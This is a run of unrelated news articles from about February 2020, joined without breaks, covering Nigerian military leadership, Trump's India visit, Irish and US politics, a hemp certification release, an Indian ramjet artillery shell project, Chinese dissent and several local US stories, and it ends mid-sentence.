because they have nothing to gain by destroying their nation- a Country that has given them the best things of life that most people are dreaming to have- good paying jobs and the finest academic scholarships that money can buy. They are patriots. They have attained the pinnacles of their chosen profession with one of them becoming a full fledged military General- thus becoming the only second person alive or dead wearing such a prestigious and meritorious rank in a nation of over 200 million people. Even if someone is a diehard critic, is there no room for objectivity? The Army chief lieutenant general Tukur Yusuf Buratai is a leader who we have seen and heard directly from the theatre of counter terror war. He is not the type that will be ensconced in his Abuja heavily air conditioned and highly maintained office in the upscale area of Abuja- the most beautiful city in Africa. He has been seen even serving Salah and Christmas foods to combatants in the battle fields. He (Burayai) is often seen visiting his fighters to shower praises on them, to instill discipline where necessary and to inject a massive dose of motivational speeches and actions including awarding promotions to deserving combatants. Buratai and his appointing authority have visited wounded soldiers in hospitals to emphatize with them. How many of us shouting 'crucify them' has visited our wounded soldiers in the hospitals? He General Tukur Yusuf Buratai recently took this motivational leadership style to a whole new level by authoring personalized letter to the fighters to motivate them and pray for greater commitments and zeal to finish the battles in very excellent way. Tukur Buratai, chief of army staff, says he is confident that the troops in the north-east will end Boko Haram insurgency soon. In a statement issued by Sagir Musa, army spokesman, Buratai also reminded the troops that they have done it before, and that they will do it again without any foreign troops around. According to the statement, Buratai said this in letter to congratulate the theatre commander, sector commanders, super camps commanders, commanding officers, as well as the officers and soldiers serving in Operation Lafiya Dole for their gallantry. In the letter, the army chief hailed the troops and their commanders for the display of courage and patriotism that led to the decimation of the leadership and ranks of Boko Haram insurgents and their affiliate ISWAP in various parts of the theatre. He asked them to continue to dominate the theatre and maintain high standards of professionalism. He also asked them never to allow the insurgents any breathing space or freedom of action anywhere as they continue to discharge their legitimate duties. Buratai said he has foreseen that with the renewed zeal, it is just matter of days to end the menace of Boko Haram insurgents. He said his confidence in total victory has further been rekindled by the determination of the troops on the ground. I am more confident now than ever before with your current robust posture that you will end the BHT/ISWAP menace in no distance time, he said. Dear compatriots, the greatest act of patriotism at this time is to support the military to win the war on terror and not to keep criticizing the service chiefs. *Emmanuel Onwubiko is the Head of the Human Rights Writers Association of Nigeria and [email protected] ; www.emmanuelonwubikocom; www.thenigerianinsidernews.com ; [email protected] US President Donald Trump will have at his disposal a robust communication system that will enable him to work in all situations including an emergency during his visit to India next week. According to sources, the US Security Department had earlier this month requested clearances for about Rs 300 crore communication equipment from Indian government agencies. Sources also said that the Customs Department, which comes under the Ministry of Finance along with the Bureau of Civil Aviation Security (BCAS), will ensure that all equipment, which are brought to India for Trump's two-day visit will be taken back after the trip is over. According to well-placed sources, whenever the US President travels, he is accompanied by a communication system worth $ 40 million, which is almost impossible to crack and enabling US Security Forces to keep the communication of its President safe. Apart from the communication system, there are other expensive equipment, which will also be part of the US President's entourage. The equipment include high-end cameras, audio-visual input, and output devices, equipment for satellite communications jammers among others. Sources claimed that clearances from the concerned departments have already been given and US authorities will have to take them back by next month before the date given by Indian authorities. "Whenever there is a visit of VVIP, especially Prime Minister or President of nations like Russia, UK, United States, etc, their security department gives us full details of equipment they want to carry also with the cost of each equipment," a top government official explained. "It is mandatory for any country to provide details of such equipment before the visit begins. After analysing the list, departments mainly customs give clearances to allow these equipments. BCAS works like a nodal agency which deals with multiple Indian agencies to clear all stuff," added the official. The US agencies are also more vigilant after news reports emerged of a data breach in the system of the agency, which looks after the communication needs of the US President. The US President will be on a two-day visit to India on February 24-25. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) This content is expired! Unfortunely this content is expired and cannot be viewed anymore; if You are the owner of this content please login to our Website, go to our access panel and enable this content again. Varadkars resignation as taoiseach, or prime minister, follows a February 8 election, which saw his party lose seats. Irish Prime Minister Leo Varadkar resigned on Thursday but stayed on as interim leader while the countrys three main parties battle out coalition talks after an inconclusive election. Varadkar, Irelands first openly gay leader, tendered his resignation as Taoiseach, or prime minister, to President Michael Higgins after the first sitting of Irelands lower house of Parliament since a February 8 election which radically recast the political landscape. In accordance with the constitution, the taoiseach and the government will continue to carry on their duties until successors have been appointed, a government statement said. Parties in the 160-seat chamber the Dail Eireann convened and nominated candidates to lead a new government as taoiseach but with none commanding a majority, the Dail was adjourned until March 5. Sinn Fein leader Mary Lou McDonald received the most votes backing her. At 45, it was far short of the 80 needed to take office but it was a symbolic victory reflecting the surge the nationalist party enjoyed in the election. Sinn Fein, which once served as the political wing of paramilitary the Irish Republican Army (IRA), became the second-biggest party with 37 seats breaking the historic duopoly of centre-right parties Fine Gael and Fianna Fail. The people who vote for us arent going anywhere, said McDonald. We have made a commitment to them to represent them well and to make our very best effort to deliver that government of change and that is precisely what we intend to do. A government for change McDonald outstripped the 36 votes backing Varadkar to continue as prime minister after his Fine Gael party slipped into the third position in the election with 35 seats. The onus is on those who have made enormous promises of change to people during this election, who are entrusted with that mandate to bring a programme for government to the Dail for approval, Varadkar said in parliament before departing to resign. If they cannot, they should say so and be upfront and honest about their failure and the empty promises they made. Micheal Martins Fianna Fail party won the most seats in the election at 38 but suffered significant losses on the partys 2016 wins. He received the backing of 41 legislators in Thursdays contest. Sinn Fein has been historically associated with the Irish Republican Army or IRA which fought British rule in Northern Ireland for decades until the late 1990s when a peace agreement largely ended violence that left more than 3,000 dead on all sides. It won the popular vote with 24.5 percent of first preference ballots and picked up 14 seats by attracting voters with a campaign focusing on Irelands housing shortage and health crisis. But its flagship policy on Irish unity is likely to be a top issue if it gains power. It wants a referendum on uniting the two parts of the island within five years. This article originally appeared in The New York Times. When critics reach for analogies to describe Donald Trump or look for examples of democratic deterioration they tend to look abroad. They point to Russia under Vladimir Putin, Hungary under Viktor Orban, or Turkey under Recep Tayyip Erdogan. Trump, in this view, is a type an authoritarian strongman. But its a foreign type, and his corrupt administration is seen as alien to the American experience. This is a little too generous to the United States. Its not just that we have had moments of authoritarian government as well as presidents, like John Adams or Woodrow Wilson, with autocratic impulses but that an entire region of the country was once governed by an actual authoritarian regime. That regime was Jim Crow, a system defined by a one-party rule and violent repression of racial minorities. The reason this matters is straightforward. Look beyond Americas borders for possible authoritarian futures and you might miss important points of continuity with our own past. Which is to say that if authoritarian government is in our future, theres no reason to think it wont look like something weve already built, versus something weve imported. Americans dont usually think of Jim Crow as a kind of authoritarianism, or of the Jim Crow South as a collection of authoritarian states. To the extent that there is one, the general view is that the Jim Crow South was a democracy, albeit racist and exclusionary. People voted in elections, politicians exchanged power, and institutions like the press had a prominent place in public life. Theres a strong case to be made that this is wrong. To earn the moniker, argues political scientist Robert Mickey in Paths Out of Dixie: The Democratization of Authoritarian Enclaves in Americas Deep South, 1944-1972, democracies must feature free and fair elections, the safeguarding of rights necessary to sustain such elections such as freedoms of assembly, association and speech and a state apparatus sufficiently responsive to election winners and autonomous from social and economic forces that these elections are meaningful. By that standard, the Jim Crow South was not democratic. But does that make it authoritarian? A look at the creation of Jim Crow can help us answer the question. Jim Crow did not emerge immediately after the Compromise of 1877 in which Republicans agreed to withdraw federal troops from the South in return for the presidency and the end of Reconstruction. It arose, instead, as a response to a unique set of political and economic conditions in the 1890s. By the start of the decade, historian C. Vann Woodward argued in his influential 1955 book The Strange Career of Jim Crow, opposition to extreme racism had relaxed to the point of permissiveness. External restraining forces Northern liberal opinion in the press, the courts, and the government were more concerned with reconciling the nation than securing Southern democracy. And within the South, conservative political and business elites had abandoned restraint in the face of a radical challenge from an agrarian mass movement. Mickey notes how the Farmers Alliance and Populist Party clashed with state and national Democratic parties on major economic issues, including debt relief for farmers and the regulation of business. Whats more, A Colored Farmers Alliance grew rapidly as well, and held out the possibility of biracial coalition-building. This possibility became a reality in states like Alabama, Georgia and North Carolina, where Populists joined with a majority-black southern Republican Party to support common lists of candidates in fusion agreements against an explicitly elitist and white supremacist Democratic Party. Populists and Republicans won their greatest victories in that era in North Carolina, where they captured the state legislature and governors mansion, as well as local and county offices. Democrats, among them large landowners and New South industrialists, responded with violence. Democratic paramilitary organizations called Red Shirts attacked populist and Republican voters, suppressing the vote throughout the state. In Republican-controlled Wilmington, North Carolina, writes Mickey, Democratic notables launched a wave of violence and killings of Republicans and their supporters, black and white, to take back the states largest city; hundreds fled for good. This basic pattern repeated itself throughout the South for the next decade. Working through the Democratic Party, conservative elites repressed Populists, seized control of the state apparatus, and effectively ended credible partisan competition. They rewrote state constitutions to end the vote for blacks as well as substantially restrict it for most whites. They gerrymandered states to secure the political power of large landowners, converted local elective offices into appointed positions controlled at the state level, and further insulated state judiciaries from popular input. This could have been stopped, but the North was tired of sectional conflict, and the courts had no interest in the rights of blacks or anyone else under the boot of the Democracy. The southern Democratic Party didnt just control all offices and effectively staff the state bureaucracy. It was gatekeeper to all political participation. An aspiring politician could not run for office, much less win and participate in government, without having it behind him. What is the state? asked one prominent lawyer during Louisianas 1898 Jim Crow constitutional convention, aptly capturing the dynamic at work, It is the Democratic Party. Statehood was conflated with party, writes Mickey, and party disloyalty with state treason. Southern conservatives beat back populism and biracial democracy to build a one-party state and ensure cheap labor, low taxes, white supremacy and a starkly unequal distribution of wealth. It took two decades of disruption the Great Depression, the Great Migration and the Second World War to even make change possible, and then another decade of fierce struggle to bring democracy back to the South. Its not that we cant learn from the experiences of other countries but that our past offers an especially powerful point of comparison. Many of the same elements are in play, from the potent influence of a reactionary business elite to a major political party convinced of its singular legitimacy. A party that has already weakened our democracy to protect its power, and which shows every sign of going further should the need arise. A party that stands beside a lawless president, shielding him from accountability while he makes the government an extension of his personal will. Im not saying a new Jim Crow is on the near horizon (or the far one, for that matter). But if we look at the actions of the political party and president now in power, if we think of how they would behave with even more control over the levers of the state, then we might be on a path that ends in something that is familiar from our past authoritarian government with a democratic facade. FAIRFIELD, Iowa, Feb. 21, 2020 /PRNewswire/ -- FoodChain ID, one of the world's leading food safety, testing, and sustainability organizations, is now the exclusive certifying body for the U.S. Hemp Authority [USHA] Certification seal. USHA Certification helps farmers, product manufacturers, marketers, and retailers secure mainstream market share by appealing to consumer and trade concerns about the veracity of product claims and serves to legitimize the evolving Hemp/CBD consumer product category. "With the passage of the 2018 Farm Bill, hemp's extracts such as CBD with a THC level of not more than 0.3 percent (as distinct from marijuana), are no longer illegal controlled substances under federal law and are becoming more prevalent in food, beverage, and health and wellness," said Mark Dabroski, senior vice president, commercial services. "Hemp seed oil and protein markets have been increasing exponentially over the last decade," noted Dabroski. "With the category's expected growth at a 46% CAGR to reach $2.8B by 2023[1], the need for self-regulation and transparency are critical." According to USHA President Marielle Weintraub, "The U.S. Hemp Authority Certification Program is our industry's initiative to provide high standards, best practices, and self-regulation, giving consumers an easy way to identify hemp-derived products that can be trusted. We are striving for ingredient transparency and truth in labeling." In an effort funded by the U.S. Hemp Roundtable and joined by organizations such as the Hemp Industries Association, industry-leading firms, top-tier testing laboratories, agronomists, and quality assessors, USHA developed comprehensive guidance for growers, processors/manufacturers, and brand owners of ingestible and cosmetic hemp products. Participants are licensed to use the Certified Seal of the U.S. Hemp Authority after meeting stringent self-regulatory standards, passing an independent third-party audit, and entering into a Licensing Agreement. Weintraub noted that the organization's standards and practices are consistently updated and improved. A public session on the effort will be held at the upcoming Natural Products Expo West on March 2 in Anaheim, CA. Widely recognized for the development, implementation, and marketing of the highly recognized Non-GMO Project Verification labeling standard, FoodChain ID offers specialized services for the food, beverage, ingredient and food component (i.e. grain) industries, spanning the entire food supply chain and is also a leader in USDA Organic certification. "As consumers increasingly demand to know what is in the foods and products they buy, our suite of testing and verification services helps meet this demand," says Dabroski. About FoodChain ID The FoodChain ID Group, with operations across North & South America, Europe, and Asia, is a market-leading platform dedicated to providing the food industry a technology-enabled food safety, quality, and sustainability solutions. Serving more than 30,000 clients in over 100 countries with a market-leading portfolio of testing, inspection, certification, and consulting services, the FoodChain ID Group's holistic solutions ensure the safety and quality of the entire food supply chain against a backdrop of increasingly complex regulations and heightened consumer requirements, including safety, transparency, authenticity, health, and sustainability that define the "New Food Economy." FoodChain ID is an ISO 17025 accredited laboratory known for consistently accurate test results and standard 3-days-turn-around time. Services for the hemp/CBD market include testing for CBD profile, pesticides, heavy metals, residual solvents, and terpenes. Additional services for hemp/CBD include GFSI (including SQF, BRC & Global GAP), USDA Organic, Non-GMO Project Verification. These services will be featured at FoodChain ID's booth at Natural Products Expo West, Booth 2177, March 5-7, 2020. [1] Nutrition Business Journal MEDIA CONTACT: Ann Willets / [email protected] / (732) 751-4545 Related Images u-s-hemp-authoritytm-usha.png U.S. Hemp AuthorityTM [USHA] Certification seal SOURCE FoodChain ID Related Links https://www.foodchainid.com CHENNAI: The department of Aerospace Engineering at IIT Madras is working on developing a next-generation artillery shell that can be used by the Indian Army to hit far away targets with greater precision. Lt Gen PR Shankar, a (retd) Professor of Practice at IIT Madras, whose team had exhibited the theoretical possibilities of the project at the recently concluded Defense Expo in Uttar Pradesh, said that his team is working on an artillery shell that is based on the Ramjet technology. This will enable it to travel upto a range of 60 kms and above. Most shells that are in use travel around 30 kms or so. Extending the range of a shell would be highly useful in non-contact warfare scenario, like the situations on the Western border. Some of the current shells can travel upto 24 kms. We could extend the range unto 30 kms by traditional methods, but doubling it to 60 kms is going to be a game changer. Changing the gun would mean a tedious process, but instead we could change the ammunition and improve the performance, he added. When asked how compatible this new artillery shell would be with current artillery guns used by the Indian Army, Prof Shankar said, Although we are developing a new kind of shell, we would not be building it from scratch. We are planning to redesign the existing shells using ramjet propulsion technology. The new shells are compatible with all the existing Artillery guns such as Bofors, Dhanush, Vajra and ATAGS. It is a fact that each gun has its own characteristics, but the shell we are developing is of a 155mm calibre. Hence, it would be usable on all Indian or foreign platforms that utilize the 155mm shell. Further explaining how his method is different from the standard range-extension methods for Artillery shells, Prof Shankar said, Traditionally, we would utilize a method called base bleed where a chemical at the base of the shell burns, emits gas to fill the vacuum behind the shell to reduce the base drag force. Base bleed enables an increase of range by 10 to 20 percent. We are aiming to double the range by using ramjet propulsion technology through indigenously developed fuel and an air intake at the front, that helps the shell travel faster and thus enabling it to reach double the range. When asked about the challenges pertaining to maintaining accuracy while aiming to extend a shells range, the retired Director General of Artillery said, When a shell travels for around 30kms, the normal methods of correction are applicable. However when a shell travels 60kms, it would be affected by wind and weather conditions far more. So we would incorporate some kind of system to keep it on intended track. It is called a Precision Guided Kit. We will be developing the precision guided kits specially for such extended ranges. Prof PR Shankar, who has been a Professor of Practice at IIT Madras Aerospace Engineering department and is actively involved in applied research, expressed hope that the Indian ordnance factories and facilities will be able to mass manufacture such shells for the Armys requirements . Most of the shells that we need are made here. When we do resort to import it is only restricted to smart ammunitions and precision guided munitions (PGMs). Our ramjet based shell is like any other shell and we would be ensuring that OFB (Ordnance factory board) can manufacture it. Ability to manufacture it is there, but we are working on the design and the technology. That's where IIT Madras comes in, along with IIT Kanpur, Armament Research and development Establishment(ARDE) Pune and Research Centre Imarat (RCI) Hyderabad, he said.. Replying to the question would there be a significant reduction in unit cost due to the indigenous manufacture, Prof PR Shankar added, Primarily this technology is a first for artillery shells. Being a new product and new technology, they tend to be very costly. But it is certainly less expensive when compared to missiles and other weapons that have a range of over 60kms. There is also a scope for exporting this type of shell to friendly foreign countries. Lt Gen P R Shankar is a retired Director General of Artillery. He has played a vital role in the modernization of Artillery through indigenization. He has deep knowledge, understanding and experience in successful defense planning and acquisition, spanning over a decade. Major 155mm Gun projects like the Dhanush, M777 ULH and K9 Vajra, Rocket and Missile projects related to Pinaka, Brahmos and Grad BM21, surveillance projects like Swati WLR and few ammunition projects came to fructification due to his relentless efforts. He has been a Professor of Practice at IIT Madras Aerospace Engineering department and is actively involved in applied research. An outspoken young woman from the eastern city of Nanjing has hit out at President Xi Jinping over his handling of the coronavirus epidemic. Jin Yan posted a short video to social media on in which she took Xi to task for his handling of the crisis. "I'm not trying to pick a fight with Xi Jinping; it's a question of good vs. evil, ya know?" Jin says in the video. "He has dragged the people of China, possibly the rest of the world too, into a very dark place." "I never really paid much attention to him before this, yeah, but now I pretty much have to, don't I?" Jin said. "People's lives are at stake." "Our compatriots in Wuhan are under total lockdown, in extremis, and yet Comrade Xi Jinping swaggers around Beijing talking about the sounds of celebration," she said. "Is this humane? Well, is it?" Boycott Tencent Jin then turned her sights on social media giant Tencent for implementing the ruling Chinese Communist Party's censorship policies and suppressing people's freedom of speech. "I want to say this to Tencent, because if I don't, how will things get any better?" she said. "They are shutting down chat groups and accounts every day." "Is that how you treat the people who put food on your table and clothes on your back?" "Clearly, you don't yet know what Jin Yan is made of," she said, calling for a boycott of Tencent "to make them go bankrupt overnight." It was unclear whether Jin had suffered any repercussions for her outburst. Her tirade comes amid growing public anger over the suppression of information and public speech amid the coronavirus epidemic. Xi is known for taking attacks and insults personally. Challenge to Xi's authority Australia-based commentator Feng Chongyi said the coronavirus epidemic is the biggest challenge to Xi's authority since he took power. "If the Chinese Communist Party intensifies its crackdown on the internet and freedom of speech, this could trigger street protests or social movements," Feng told RFA. "The likelihood of internal changes in the leadership is also increasing," he said. Former 1989 student protest leader Wuer Kaixi, who is currently based in Taiwan, said Jin Yan's attack on Xi isn't the first to emerge during the coronavirus epidemic. He said Tsinghua University professor Xu Zhangrun and detained anti-corruption activist Xu Zhiyong have both penned open letters to the president, hitting out at his handling of the epidemic. "These open letters are an appeal to Xi Jinping to step down," he said. "He should take not just political responsibility, but also legal responsibility for the various crimes of the Communist Party in the past, including its response to the epidemic." Last month, authorities in the central Chinese province of Hunan released a woman incarcerated in a psychiatric hospital for splashing ink on a poster of China's President Xi Jinping in a live-streamed protest on social media. Dong Yaoqiong was sent for "compulsory treatment" after she streamed live video of herself splashing ink on a poster of President Xi in protest at "authoritarian tyranny" on , 2018. She was then committed as a psychiatric patient in a women's ward in Hunan's Zhuzhou No. 3 Hospital. Her father, Dong Jianbiao, who was detained when he tried to visit her, has suggested the authorities put extreme pressure on her mother to sign the committal papers. Reported by Lee Tsi-tsi and Fong Tak-ho for RFA's Cantonese Service. Translated and edited by Luisetta Mudie. Speaking on ABC Radio Brisbane on Friday morning, Commissioner Carroll said Detective Inspector Mark Thompson was "distraught and gutted" about his comments made during a media conference in Brisbane on Thursday afternoon and "he cannot believe the way he has phrased that". The comments were "victim-blaming at its worst", said Betty Taylor who heads the Red Rose Foundation - an organisation that raises awareness about domestic violence. Queensland Police Commissioner Katarina Carroll has publicly apologised for comments made by the detective leading the investigation into the Camp Hill murder-suicide. Loading "Our job as investigators is to keep a completely open mind," Inspector Thompson said on Thursday. "We need to look at every piece of information and, to put it bluntly, there are probably people out there in the community that are deciding which side to take, so to speak, in this investigation. "Is this an issue of a woman suffering significant domestic violence and her and her children perishing at the hands of the husband, or is this an instance of a husband being driven too far by issues that hes suffered by certain circumstances into committing acts of this form? "That's why I want people to come and speak to us; if we are going to build a complete picture as to what has occurred, then we need to need to speak to everyone." New York State Inspector General Letizia Tagliafierro has announced the arrest and arraignment of an Oswego County court stenographer who routinely added zeros to billing invoices to insurance carrier clients over the course of several years, resulting in her alleged theft of more than $187,000. Laura Hayes, 47, of Phoenix in Oswego County, was arrested and arraigned February 18 on the charge of grand larceny in the second degree in Oswego County Court before Honorable Robert Wood. She is due back in court March 25. Hayes is the owner and operator of Quality Court Reporting, a stenographic service in Central New York. Court reporting fees are paid by the carrier in workers compensation proceedings. The Workers Compensation Fraud Inspector General received multiple complaints from insurance carriers alleging that she was overbilling for services provided. The Inspector Generals investigation found that Hayes would regularly submit bills to the carriers for services for approximately 10-times the appropriate value by simply adding a zero at the end of her invoice (e.g. $150 would become $1,500). In all, the Inspector Generals Offices found that Hayes overbilled four insurance carriers for $187,700. This alleged scheme to steal from the workers compensation system was brazen in its simplicity, but nonetheless grossly illegal, Tagliafierro said in a press release issued by her office. By simply adding zeros to invoices, this individual was paid money she didnt earn. Tagliafierro thanked the New York State Police for assisting in the arrest and the office of Oswego County District Attorney Gregory S. Oakes for handling the prosecution. The defendant is presumed innocent until and unless proven guilty in a court of law. Source: New York State Office of the Inspector General Topics Workers' Compensation New York Cookie Preferences Cookie List Cookie List A cookie is a small piece of data (text file) that a website when visited by a user asks your browser to store on your device in order to remember information about you, such as your language preference or login information. Those cookies are set by us and called first-party cookies. We also use third-party cookies which are cookies from a domain different than the domain of the website you are visiting for our advertising and marketing efforts. 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Harrisburg officials on Friday rolled out a handful of new charging stations for electric car owners right in the shadow of the Capitol, stepping up calls for the city and its residents to move further toward a renewable future. Mayor Eric Papenfuse said the eight new stations at Third and North streets joining another station off Second Street represent a larger effort to encourage residents to make sustainable lifestyle choices. But to do so, its important for city officials to take the first steps, the mayor said during Fridays ribbon-cutting ceremony. Its the citys job to lead with public infrastructure, and hopefully the public to do the same with their personal decisions, Papenfuse said Friday morning outside the State Museum of Pennsylvania on North Street, while half a dozen electric cars charged behind him. Papenfuse said the project took off over the summer, and by last month, legislators, residents and tourists were making use of the stations. Roughly three dozen cars have been charged at the stations in the last week alone, he said. The mayor said the city has already turned to renewable energy mainly wind to power some of Harrisburgs infrastructure, including its street lights. Patrick McDonnell, secretary of the states Department of Environmental Protection, said he hopes the charging stations give Pennsylvania residents confidence they can get where they need to go, should they choose to buy an electric vehicle. The story of driving Pennsylvania forward starts right here and continues with this infrastructure, McDonnell said. Rep. Patty Kim, D-Harrisburg, and Sen. John DiSanto, R-Dauphin County, played a role in bringing the new charging stations to the city, and were on hand for Fridays ceremony. Papenfuse said the city was inspired to add the stations after legislators who owned electric cars said they were parking at dealerships, then taking Ubers to the Capitol. Its crucial we build out the gid of charging stations so owners have options, Kim said. Electric car owners can use the stations by downloading the ChargePoint application, which pulls up a map of locations across the state where they can charge their vehicles. The app charges $0.72 an hour, and its stations take about three hours at maximum to charge each car, the mayor said. The addition of the stations is one of several projects meant to make Third Street more livable, according to the mayor. New sidewalks and traffic measures were put in place along the busy street, and the city is working on expanding a section of sidewalk outside the Capitol to make it handicap-accessible, he said. The eight stations four poles with two outlets on each are open to the public at the intersection of Third and North, outside the state museum. And no server in the history of the world ever wanted to discuss the tip, except perhaps indignantly afterward (as in, Im sorry, was the service not to your liking?). Please tell your boyfriend that Miss Manners recommends he find other, less belittling honorifics for waitresses and that he join the ranks of the rest of us in being ever befuddled about what is an adequate tip (although 20 percent is still usually considered standard). Language diversity a key feature of the Wits community International Mother Tongue Day is observed annually on 21 February to promote linguistic and cultural diversity. There are over 130 linguistic groups represented at Wits University whose staff and students come from different parts of the world. To mark this day, a special display of books written in the variety of languages on the African continent is currently on in the William Cullen Library on Braamfontein Campus East. The library houses the Africana collection, which consists of social, political and economic history books, as well as books on the languages and literature of Africa. Languages are central to our humanity and sense of belonging. According to the United Nations, 43% of the estimated 6000 languages spoken in the world are endangered. Only a few hundred languages have genuinely been given a place in education systems and the public domain, and fewer than 100 are used in the digital world. Wits University is contributing to the sustainability of South Africas indigenous languages through the new Wits Language Policy. Adopted in 2015, the policy seeks to unlock cultural knowledge that resides in African languages and develop multilingual graduates/professionals who are in tune with their environment and the people that they serve. By Joseph Ax (Reuters) - Democratic presidential candidate Elizabeth Warren will get help in the final days before Nevada's caucuses from a super PAC, despite her outspoken opposition to such fundraising efforts. By Joseph Ax (Reuters) - Democratic presidential candidate Elizabeth Warren will get help in the final days before Nevada's caucuses from a super PAC, despite her outspoken opposition to such fundraising efforts. The organization, Persist, filed paperwork with the Federal Election Commission on Tuesday and launched a new commercial in Nevada backing Warren's White House bid. Warren, a U.S. senator from Massachusetts, has centered her campaign on eliminating the influence of money in politics, forswearing high-dollar fundraisers and accusing billionaires like rival Michael Bloomberg of buying their way into the race. But she cannot control independent political action committees known as super PACs, which may raise and spend unlimited funds as long as they do not coordinate with candidates' campaigns. In a statement, Warren's campaign said, "Senator Warren's position hasn't changed. Since day one of this campaign, she has made clear that she thinks all of the candidates should lock arms together and say we don't want super PACs and billionaires to be deciding our Democratic nominee." At the most recent Democratic debate in New Hampshire, Warren criticized other candidates for getting help from outside sources. "Everyone on this stage except Amy and me is either a billionaire or is receiving help from PACs that can do unlimited spending," Warren said, referring to U.S. Senator Amy Klobuchar. Since then, a super PAC supporting Klobuchar, Kitchen Table Conversations, has also formed and is running television ads in Nevada and South Carolina. Nevada's caucuses take place on Saturday, while South Carolina's Democratic primary election is scheduled for one week later. The candidates will appear on stage on Wednesday night for a televised debate in Las Vegas. Warren is looking for a comeback in Nevada after finishing third and fourth in Iowa and New Hampshire, respectively, despite having invested heavily on the ground in both states. She is backed by the Progressive Change Campaign Committee, a PAC that has been closely allied with her since she first ran for the U.S. Senate in 2012. Persist takes its name from a phrase that Republican Senate Majority Mitch McConnell used to admonish Warren in 2017, when he said, "Nevertheless, she persisted." The words have since become a rallying cry for Warren's supporters. It is not clear who the super PAC's financial backers are. A spokesman for the group did not respond to requests for comment on Wednesday morning. The new advertisement featured images of Warren with former President Barack Obama and spotlights Warren's fight against Wall Street, including her work in creating the Consumer Financial Protection Bureau. "It's why she'll take him on - and win," the narrator continues, over a photo of President Donald Trump. (Reporting by Joseph Ax; Editing by Howard Goller) This story has not been edited by Firstpost staff and is generated by auto-feed. By PTI WASHINGTON: The US Air Force has updated its dress code to accommodate the religious sentiments of various communities, including the Sikhs, making it easier for them to join the service. Finalized on February 7, the new Air Force policy establishes clear grooming and uniform standards for enlisted and officer airmen who are granted accommodations based on their sincerely held religious beliefs. The policy also clarifies that O-6 level commanders can approve an airman's request for such an accommodation in no more than 30 days (or 60 days if the accommodation is requested outside of the US), and that accommodation, once granted, will generally follow the airman throughout his or her career. While there are certain limited circumstances under which a religious accommodation may not be permissible due to safety considerations, the policy appears to be otherwise comprehensive, Sikh Coalition said in a statement. "No Sikh-American should have to choose between their religious beliefs and their career ambitions," said Giselle Klapper, Sikh Coalition staff attorney. "Sikhs have served honourably and capably in the US Armed Forces and other militaries around the world, and while we are eager for a blanket proclamation that all observant Sikh-Americans can serve in every branch of the military without seeking accommodations, this policy clarification is a great step forward towards ensuring equality of opportunity and religious freedom in the Air Force," Klapper said. The Air Force's clarification closely resembles the US Army's landmark 2017 policy adjustment, which similarly clarified the terms and process for soldiers requesting religious accommodations. "Both of these policy changes are the direct result of the years-long campaign, launched in 2009 by the Sikh Coalition and our pro bono co-counsel at McDermott Will and Emery, that has included extensive advocacy efforts and litigation to ensure that observant Sikhs and other religious minorities are able to serve without compromising their faith," the Sikh Coalition said in a statement. According to the Sikh Coalition, Airman 1st Class Gurchetan Singh is the first Sikh-American to receive an accommodation to serve in the Air National Guard. Singh's accommodation was approved in September 2019, and he will soon head to Basic and Technical Training with a specialty in Cyber Transport Systems. "The Sikh Coalition has helped me realize my career dream while ensuring that I stay true to myself and my faith. "Their legal assistance means that I won't face discrimination as I step up to serve, and I'm proud to help clear the way for other Sikhs who may want to join the US Air Force by demonstrating that we can serve honourably while maintaining our articles of faith," he said in a statement. To date, the Sikh Coalition has helped more than 20 Sikh-Americans secure accommodations to serve in the US military. Vineet Upadhyay By Express News Service DEHRADUN: Ahead of Donald Trump's visit to Agra, Uttarakhand has been releasing over 10,000 cusec water from river Ganga since February 17 every day into Yamuna to provide a 'pleasant experience' to the US President and his wife. Donald Trump and Melania Trump are scheduled to visit the Taj on February 23, 2020. Vikram Saini, sub-divisional officer, Haridwar told The New Indian Express, "Total volume of 10,500 cusecs water is being released from Ganga in Haridwar for multiple usages including irrigation, drinking and other purposes. Out of this, some of it is being diverted every day to Yamuna in Agra as far as I know. This is a special arrangement for the visit of the President of US". READ| As Trump visit draws near, Yamuna and Taj Mahal make over take centre-stage A state irrigation department official also revealed it is for the first time that water from the Ganga river is being diverted to Yamuna river apart from the routine release during the summer. The demand every year ranges between 6500-13000 cusecs every day what with the summer, drought, supply for irrigation, drinking and the need for other purposes. The Uttar Pradesh government's order to the Agra irrigation circle dated February 17, 2020 states release of a total of 950 cusecs of water from three canals into the river Yamuna to clean it before the much-awaited visit by the US President. However, the officials from the irrigation department in Agra said that only 650 cusecs water is being released against the proposed 950 cusecs. Officials from Agra on the condition of anonymity also added that the arrangement is 'temporary' in nature and will make the river clean with increased water flow for 2-4 days. Anil Prakash Joshi, Padma Bhushan awardee, said, "It is good to see that the government machinery and the system is active due to VIP visit. At least the river will be cleaned for now." The seer community in Haridwar also welcomed the decision. Sadhvi Prachi, a saint from Haridwar, said, "Ganga Maa purifies everyone and water from the holy river is for all in the country. It is a good thing and I welcome the decision." Dr. Dale Okorodudu, founder of Black Men in White Coats, shows students how to perform a bronchoscopy during the Rise Up: Pathways to Diversity in Medicine conference on Feb. 8. | Photos: Cliff Hollis Delisa Davis, right, and other students watch a demonstration on locating the carotid artery and checking the pulse during the Rise Up conference. Delisa Davis, right, and other students watch a demonstration on locating the carotid artery and checking the pulse during the Rise Up conference. During conversations about the future, Delisa Davis's mother always reminds her to step into new experiences ready to take advantage of opportunity. That's why when Davis learned about the Rise Up: Pathways to Diversity in Medicine conference, she jumped at the chance to get a hands-on look at a career in medicine.Davis, 17, a student at J. H. Rose High School in Greenville, joined more than 160 other eastern North Carolina students-ranging from elementary school to college-for the inaugural conference Feb. 8 on East Carolina University's Health Sciences Campus.Davis said, surveying the manikins and monitors in the Brody School of Medicine's Clinical Simulation Center during a tour.provided tools and encouragement for youth from diverse backgrounds to explore their potential in medicine. The conference featured interactive experiences for invited elementary, middle and high school students as well as for students attending community college, college and graduate school.Sponsored by the Brody School of Medicine, Brody Office of Diversity Affairs, Division of Student Affairs, Honors College, Undergraduate Admissions and other ECU and community partners, the conference was headlined by nationally renowned speaker and author Dr. Dale Okorodudu.Participants gathered at the start of the day to hear from Brody leaders and guest speakers that they have resources available to them to pursue a future in the medical field.said Dr. Cedric Bright, associate dean of admissions and interim associate dean for diversity and inclusion for the Brody School of Medicine.Dr. Mark Stacy, dean of the Brody School of Medicine and vice chancellor of ECU's Division of Health Sciences, reminded the students to remember the various support systems ready to help them succeed.he said.Okorodudu, assistant professor of internal medicine at the University of Texas Southwestern Medical Center, founded Black Men in White Coats, an organization that seeks to increase the number of black men in medicine through exposure, inspiration and 